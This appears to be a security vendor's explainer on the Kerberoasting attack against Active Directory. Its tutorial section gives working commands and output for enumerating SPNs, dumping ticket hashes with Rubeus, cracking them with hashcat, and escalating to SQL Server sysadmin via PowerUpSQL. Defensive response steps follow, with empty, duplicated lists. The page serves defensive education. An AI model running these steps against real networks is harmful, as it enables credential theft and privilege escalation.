Home
Resources
Attack Catalog
Kerberoasting Attack

Kerberoasting Attack

Active Directory

Credential Access

Credential Theft

Kerberos

What is Kerberoasting?

Kerberoasting is an attack that abuses the Kerberos protocol to harvest password hashes for Active Directory user accounts with servicePrincipalName (SPN) values — i.e., service accounts.

A user is allowed to request a ticket-granting service (TGS) ticket for any SPN, and parts of the TGS may be encrypted with RC4 using the password hash of the service account that is assigned the requested SPN as the key. Therefore, an adversary who is able to steal TGS tickets (either from memory or by capturing them by sniffing network traffic) can extract the service account’s password hash and attempt an offline brute force attack to obtain the plaintext password.

Why Kerberoasting is a Growing Threat?

Although some OS-level fixes have been implemented against Kerberoasting, such as Microsoft phasing out RC4 as a default encryption method, it is unlikely that these attacks can be prevented through patches or hotfixes due to the ubiquity of the Kerberos protocol in running Windows.

If anything, Kerberoasting is an attack method that will only become more of a danger as techniques evolve — and it will prove an especially grave threat in the face of poor password protocols.

In the Kerberoasting attack explained above, the adversary obtained a Kerberos service tickets from which they gained raw data in order to crack credentials offline. We may note that this previous Kerberoasting example began with legitimate user-level processes of enumerating the names of service principals and requesting a ticket-granting service (TGS) ticket rather than stealing one from network traffic. While network sniffing remains a significant threat, enterprises face equally significant risk of Kerberos attacks as a result of illegitimate users gaining access to their systems, which is often provided to attackers through weak Active Directory user account passwords (a vulnerability that Kerberoasting attacks themselves further exploit).

Poor password security presents adversaries with an especially vulnerable point of entry for all kinds of strikes, often serving as a major part of their attack vector (if not the only one they require). 81% of data breaches can be attributed to stolen, weak, or reused passwords, and compromised service accounts were involved in 85% of data breaches in 2024. Weak credentials make these attacks even simpler: among hacking victims, 89% used a password more than once, 74% shared passwords, and 61% used a password less than 8 characters long.

Although AD accounts are critical to protect with strong passwords due to their elevated privileges, because these accounts must be set manually, they are often given weak or easy-to-remember passwords instead of machine-generated ones designed for security. These passwords are rarely altered, either; 53% of IT security teams take longer than 13 weeks to change service account passwords, and 20% have not changed the default passwords for privileged accounts at all.

While these passwords are more protected on your network, where multiple wrong login attempts will trigger a lockout, Kerberoasting is especially effective against weak passwords due to its largely offline approach. After obtaining a legitimate service ticket, adversaries will offload the hash associated with the SPN (used as the private key within the ticket) and implement Brute Force methods to crack the hash. These cracking efforts have only become more refined as more powerful tools become available on the market — today, the average consumer-grade GPU can guess over 100 billion passwords a second, and password-cracking tools have grown robust thanks to automation and extensive online glossaries.

By cracking even one weak password within AD, an adversary gains initial entry into the network which they can use to request service tickets from the Kerberos protocol as an authenticated user. As a result, now matter how attackers attain their initial service granting ticket, obtaining it at all enables them to engage in as many Brute Force attempts as are required to crack the entire hash. If other service accounts have weak passwords, the adversary’s cracking toolsets will make short work of the encryption and expose all your organization’s credentials in plaintext.

Comparing Kerberoasting with Other Kerberos-Based Attacks

You may notice our Kerberoasting attack example functions similarly to other attack methods. However, Kerberoasting is still distinct enough to warrant its own set of defenses. As part of the broader MITRE ATT&CK framework, Kerberoasting can be defined as a highly effective method of reconnaissance, discovery, and especially privilege escalation and credential access, enabling attackers to engage in lateral movement with great efficiency.

Because Kerberoasting relies on TGS tickets to infiltrate systems, it bears some similarities to Golden Ticket and Silver Ticket attacks, both of which also compromise the system’s password hash by exploiting functions of the KRBTGT account. However, where Kerberoasting differs from both Golden Ticket and Silver Ticket attacks is that Kerberoasting attacks use Kerberos TGS tickets for the explicit purpose of compromising user credentials in plaintext. Whereas Golden and Silver Ticket attacks crack AD password hashes to gain wider system access, Kerberoasting focuses on compromising as many passwords as possible.

Pass-the-Ticket and Overpass-the-Hash attacks, despite their broad similarities to Kerberoasting, also differ in their methodologies. Although Pass-the-Ticket attacks also rely on stealing Kerberos tickets, these strikes use ticket-granting tickets to authenticate the adversary as a valid user, allowing the attacker to implement lateral movement techniques to access further resources as granted by TGS tickets and TGTs. Similarly, while Overpass-the-Hash attacks involve an attacker cracking a user’s password hash to access their account (“passing the hash”), then authenticating themselves using the Kerberos protocol, in both these and Pass-the-Ticket attacks the adversary never gains access to plaintext passwords, as directly cracking the hash is not required for authentication.

Threat Summary

Target:

Active Directory

Tools:

mimikatz, Rubeus, impacket, nidem/kerberoast, John the Ripper, hashcat

ATT&CK® Tactic:

Credential Access

ATT&CK Technique:

T1558.003

Difficulty

Detection:

Medium

Mitigation:

Hard

Response:

Medium

Attack Tutorial: How the Kerberoasting Attack Works

STEP 1

Enumerate servicePrincipalNames

In a Kerberoasting attack, an adversary may target as many service accounts as possible or conduct internal reconnaissance to find specific service accounts with privileges they desire. In either case, the attacker needs to enumerate the servicePrincipalNames (SPNs) for the service accounts being targeted.

The Kerberoasting example below illustrates how to use LDAP to query Active Directory for user accounts with defined SPNs:

Console:

#Build LDAP filter to look for users with SPN values registered for current domain
$ldapFilter = "(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
{
	$result_entry = $result.GetDirectoryEntry()
 
	$result_entry | Select-Object @{
		Name = "Username";  Expression = { $_.sAMAccountName }
	}, @{
		Name = "SPN"; Expression = { $_.servicePrincipalName | Select-Object -First 1 }
	}
}
 
$Results

Output:

Username        SPN
--------        ---
ServiceAccount1 http/webserver1
ServiceAccount2 cifs/appserver2

STEP 2

Request TGS tickets and extract the password hashes

The adversary then requests Kerberos ticket granting service (TGS) tickets for the service accounts and extracts the password hashes from memory. Tools such as Rubeus fully automate the process, as shown in below:

PS> .\Rubeus.exe kerberoast /simple /outfile:hashes.txt
 
[*] Action: Kerberoasting
 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
 
[*] Searching the current domain for Kerberoastable users
 
[*] Total kerberoastable users : 2
 
[*] Hash written to C:\Tools\hashes.txt
 
[*] Roasted hashes written to : C:\Tools\hashes.txt
 
PS> Get-Content .\hashes.txt
 
$krb5tgs$23$*ServiceAccount1$domain.com$http/webserver1*$45FAD4676AECDDE4C1397BFCED441F79$DEB234D8A44B2ACD16F31F3ED42B54226E2D72890870966AB5158FFC5B2EC2B4A5D956BDB157A725E6E3A4A800F626D17BB3B6FE62CDF2BAD53EA337A5E8CC6627B8CB6A32B18B914B48D95C6544C9F57C83BEF4726224507002367AA868C76854138E6A7419376343DD5131614C7B97EBC73087312EBA06FF4B067DD261AECADDDB3118C4BDDCC662AAC91C0BEBA082197D4A48E172DBE5F5A4B5DB94B1FF6EED0968243010241B7F1588E2924E631C36915E055E1A364727B79F171F2A5150E544334F5F8D1A7980645F04F4794F2EF5FECA23A9D7EEB5A38490E1A56BAB4C17A6F7B009121E405C41A22B11F4980760A3F1D2D80B52FCD3C1CF60B09C54C77BF7D08BFCF40D90498600958D56BA704EAA2101A17AA5A2A1CCA8A90752C68A1E427757A10603DC8EA62CC03196595BEC2667DA096ECDB8E5F0D11963FD52558E06F3489378B596E26F638DBB738AA214F7282B1970023D7995597651B5BB7FDCF414C53BDF791C569EB8E45B6BE36F49E87080177211ADC3D4F53F0D109A9718497E18E85FDD5C3AD376AFD95372674C318C9E690BC8A6C75DD888BCC8129F15EE7D1C625951C979B97E21538619ABA93D9DD5E32D7549A2ED3406E42F21BD9535759B92F48BC767FC1A327E0F3CAC7ACCE2AB577E2E4103F6F8DE737AB80E1A177F50B6405B05EFD5004006F99548725D785E95498DCBE85F1B6409FE2F43FE0AF185CF8E4AE3E8E581B26FC0C485380BE8811347492004BC9C733EDCA31E538796AC0F908F5487A83478D271A6ADEBF4B816207E745E84B9009F4ACC77872DF0F3D9CE327DB25AA3408823CC5F139E7D12C115BDB487E4D531CE7374E1C90ED9F732E4EA04FF0EB4B84F323A98B95951AE2AAA98735522BC51596F17B5050B4F74045195C6FDC748E1EA4BE35C4DE8253077CA1F659BECC45E87663965073A5EE8D86B042A37ACC16EF64014D7E0DC8CC505CA7F8727F00D0D046805B9F8D5BCC6FF5368B5D6758F4F1A33F26C3C3D91C2359256B19292E02536153062DC3E7FC153AD6607D695BCB0DF66A88653E495C17FD2EB091274947AB4F31C8B756FFC9F40EBF0B661E54C31ABC1E5BE66E6C37807CE17BB1AA4E2ED5D4DE70E90DF602542BFD0A1A4B149F060496F09F0E03E1814A3AAE19A23195859F82C778324FE491024FF63BBB919F958447936B1DACD294B122EE0E85C2374C1192555C0C1CD66D877AF1A77826BE42017B75A5441822E9DAAD7C02366DD5907DD1517A4AEFBAB8F8ECCD1AE1910AB17E40E1E87E288250EE468F0D0AC81C36ACC9AF3524DBEA9DDFB8C08DF0872F4C01574798F28E8017AC5799D9773BDE87A2D6682F9C76493BD738E177E68F20D4310B5AA09D4672BC6C5B0FFB60F5F2A178D7C0EF8477E9B4F9194C5AB350DFA9568C5448BDB85C09A1E623DD683FBFE817004A6C188DE29699A4F85DE3D6075E7022B6CE9E744E518AA4CCB56F876047E4E07A94F99BC8AF68BD9E0FD256EBAD615BB8B4DFB89CFC7E5D2E2D71F07D9F67DDCFE72AD7B24EFD29EF5FF90A21E970011C11CDBC5D754382D359B775CFAD7FAD5FFB35FFB38EB4A1DEF06B331EF549478E7A227C39E49ED82C737EC4A23A4073AD816C2243BD88A7F5983B3
# ... output truncated ... #

STEP 3

Crack the passwords offline

Next, the adversary obtains the plaintext passwords using a brute force attack. Since this happens offline, no more communication with Active Directory needs to occur — making this step undetectable.

To crack the passwords, an adversary may have a high-performance system dedicated to and designed specifically for password cracking. Tools include hashcat (as illustrated below), and dictionaries of common passwords can expedite cracking of common or weak passwords. The SecLists repository maintains several sample dictionaries.

PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\Hash.txt .\wordlist.txt
...
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*USER$DOMAIN$http/webserver1*$e556af133...b80b25
Time.Started.....: Thu Jul 23 18:58:36 2020 (0 secs)
Time.Estimated...: Thu Jul 23 18:58:36 2020 (0 secs)
Guess.Base.......: File (.\wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    97694 H/s (0.26ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 0/100 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> taylor
Hardware.Mon.#1..: Temp: 47c Fan: 34% Util: 32% Core:1265MHz Mem:2504MHz Bus:16
 
PS> Get-Content .\cracked.txt
$krb5tgs$23$*USER$DOMAIN$http/webserver1*$e556af133a0ca7f310381a7294099034$53db15e3d6211b716229530340031738ba46384e304de689a9303c218c1a2199e398df6fced43647c8f0e0cbf805b277ce78c70b0af34edc9c8ca15fa488cbe455771be3c0fd1cae22322ba60bed2aa4a033a7d9d40b2d61c65f10648f061c0d77d42870e6841635b3afe90df0cfc644f0797188c5bf5486e4529af8aff7f0e9e792b550623c1054250496272673d875eb6ede6f6f3e360ee0d9f173073c92ea7b2ec39a1012bd7c24e861eec4cc29c7b67ed8969f981559f19532ca8beb4edbbd4c5edc7c405158a04974bd767490b4a5895db36fa85fa24bf89cd9b4927b4b07e19516a2e6beb18aa71e5a04b2f157e1c24e26102d1855f76c2f17c9c79264774d3a67e1dd859d190e59ea29f3b82605c599160f3d5dd3830485675329e5e6ddf4b4f5ecba7e101256e1bf15b85f2f294ef90eb7bd8849f51fd120c33682006e75c87f1e04b42f79bc702a8879f4513f38dcf0ba209ebddeebaac06e751c578b02144f670408d3c66720c3312524e44d46ff7ad127cb96acc03afadee97d8a4f5fc15139998025a314559a160b274d373e9d08554e5a49397d0ae048a0437144956e3e6e50efee9b3ac2e4aeb779a4e4419571076400d716bd09d81eca1bcf392ab8f7d5cec47b44ab6be64d389fe45f1511fdef7d89baa4dc5eac18947b2dcc9458a6a8c02b4ea3e5a4309c5dec905638e32ee77158f861564660f6568455834c0622a8cb2db482603bc31501f1c7eb0c9e3c96dcd09ca055bd8f255436330d7ad6b433c6a4faee5c18d1e5ba13ca1225a9b6d71334c1b2d2482f207bdfb73373de8c48dedf68d8b7e5f042f139ba808a186d09d7f7283d25ab59f9255060e49db4f1a0358e15ea0448399b28b2c58758a968a825565b6b9cd362aba4f6dba7a882b14e983e55ba244eb4ca7496e74f8fe9a53485cde9309686120d5e9ec1d1d1b77e4d99f6334c4a674927e1b6b5086d7069f2119b1f63398deba1ae209d83135b2f5bdf094bea2990243eb96c360b272fd0738dcdc94cbc854f7543bbad5cc0d9344e2ccf7a269cf0fad223f6a60fe31d4abbde5710ce6f1b77ff510492781699631369dfdef853045131eaa711b4d02fa1f4f3a8f7e2dfb1b8752ba1e57bf63aac36d1e37c34aa4ed9446e206729f803b45fbc38452adec2989d383172b0b7948d2ab26c24d8aeb7175dc4f133999c4206564a833c49c288039faa0c1899bfd0a5331da87b5612397ee283bd70b2c77156c54f4c96b08ec7b2e7d93b80eed44102e467d26dcfe8433d3afdbe5c04768913f503aaf3f410c8c0abb415d9f5c4f3fd276e23bb7637970983fa0cc85c6b7fd54fb8c715c94e51573eb469a781125c30735e0cc996069a4c708a458952cabf0030614f32f5a0555de2302a20dd864df969ef534b2de1608d9675581ea4c590973f0c9c84ca56e2a34c3427a08ee06827133b75a97a03ec0b5a0ed814a9bd897732dc10e15c3dcf16d67d7790449df40e8b35dee6f40008029d9bc4adbe073755a9429684631c7c790b0855187cfc16cf358a8099ffaceb4836ed1b026756c21d93da72b4aeaf62ff7ce20caf30451416aef2e68812ac1888c02f62d6c5f3500d92119eddc0d01d2548af55cbb5af3fc52adbb80b25:P@ssword!23
 
# ServiceAccount1 has a password of: P@ssword!23

STEP 4

Use new privileges to further objectives

With the plaintext password, the adversary can authenticate to any resources the service account has access to, helping them to compromise data or escalate privileges. Here’s how an attacker can use compromised credentials to authenticate directly to a database the service account uses, and then exploit configuration vulnerabilities to escalate their privileges to a database administrator.

PS> runas /netonly /User:ServiceAccount1 powershell.exe
Enter the password for ServiceAccount1: P@ssword!23
 
PS> Import-Module .\PowerUPSQL
PS> $SQLServers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-object { $_.Status -eq "Accessible" }
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
 
Instance        IsSysadmin
--------        ----------
SQLServer1      No
 
PS> Invoke-SQLEscalatePriv -Instance SQLServer1 -Verbose
VERBOSE: SQLServer1 : Checking if you're already a sysadmin...
VERBOSE: SQLServer1 : You're not a sysadmin, attempting to change that...
# ... output truncated ... #
VERBOSE: SQLServer1 : Success! You are now a Sysadmin!
 
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
 
Instance        IsSysadmin
--------        ----------
SQLServer1      Yes

Detect, Mitigate and Respond

Detect

Mitigate

Respond

Difficulty: Medium

Because Kerberoasting largely adheres to standard practices of requesting Kerberos tickets, an attack can be difficult to detect while it is occurring. However, it is possible to detect several aspects of Kerberoasting by monitoring the Windows event log for anomalous ticket-granting service (TGS) requests.

Measures to implement include:

Difficulty: Hard

While strong passwords should be implemented as an immediate defense from Kerberoasting, additional measures are key to further strengthen your organization against these attacks. Kerberoasting is difficult to detect while it is occurring, and containing an attack is even more complicated as a result of the sweeping privileges it grants adversaries. As always, the best response against this attack is to better ensure it never occurs in the first place.

To protect service account passwords against Kerberoasting attacks, you can:

Difficulty: Medium

If your team detects a Kerberoasting attack has occurred, immediate action is essential to prevent further damage and protect against future incidents.

When Kerberoasting is detected, you should take the following actions:

Activate the incident response process and alert the incident response team.
Launch containment strategies to isolate affected systems and prevent further spread.
Quarantine any implicated computers (e.g., the host that requested service tickets) for forensic investigation and eradication and recovery activities.
Reset the password for the user account performing the Kerberoasting.
Audit SPNs to identify which have been exposed.
Reset the password for any service accounts for which TGS tickets were requested. Priority should be given to privileged accounts.

Once the attack has been reliably contained, the following steps should be implemented to protect against future attacks:

Ensure MFA is required for all user and service accounts.
Enhance encryption by phasing out RC4 and other weak encryption methods in favor of stronger protocols such as AES. Legacy protocols should also be disabled by default.
Establish Kerberos logging by default across all domain controllers to more quickly detect future attacks.
Require regular audits of SPNs to verify they are associated only with service accounts necessary for system functions.
Identify critical assets within your network and introduce network segmentation policies to divide environments into smaller segments that are easier to monitor and protect.
Restrict service account privileges to the minimum required for each account according to the least-privilege model.
Create identity and access management (IAM) programs to limit access to sensitive areas of your network.
Conduct employee training to help staff avoid falling prey to phishing, social engineering, and other direct means of password theft.

Detect

Difficulty: Medium

Measures to implement include:

Mitigate

Difficulty: Hard

To protect service account passwords against Kerberoasting attacks, you can:

Respond

Difficulty: Medium

If your team detects a Kerberoasting attack has occurred, immediate action is essential to prevent further damage and protect against future incidents.

When Kerberoasting is detected, you should take the following actions:

Activate the incident response process and alert the incident response team.
Launch containment strategies to isolate affected systems and prevent further spread.
Quarantine any implicated computers (e.g., the host that requested service tickets) for forensic investigation and eradication and recovery activities.
Reset the password for the user account performing the Kerberoasting.
Audit SPNs to identify which have been exposed.
Reset the password for any service accounts for which TGS tickets were requested. Priority should be given to privileged accounts.

Once the attack has been reliably contained, the following steps should be implemented to protect against future attacks:

Ensure MFA is required for all user and service accounts.
Enhance encryption by phasing out RC4 and other weak encryption methods in favor of stronger protocols such as AES. Legacy protocols should also be disabled by default.
Establish Kerberos logging by default across all domain controllers to more quickly detect future attacks.
Require regular audits of SPNs to verify they are associated only with service accounts necessary for system functions.
Identify critical assets within your network and introduce network segmentation policies to divide environments into smaller segments that are easier to monitor and protect.
Restrict service account privileges to the minimum required for each account according to the least-privilege model.
Create identity and access management (IAM) programs to limit access to sensitive areas of your network.
Conduct employee training to help staff avoid falling prey to phishing, social engineering, and other direct means of password theft.

Featured Solutions

Netwrix Threat Manager
Netwrix StealthINTERCEPT

OTHER ATTACKS

Pass the Ticket
Silver Ticket
Golden Ticket

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.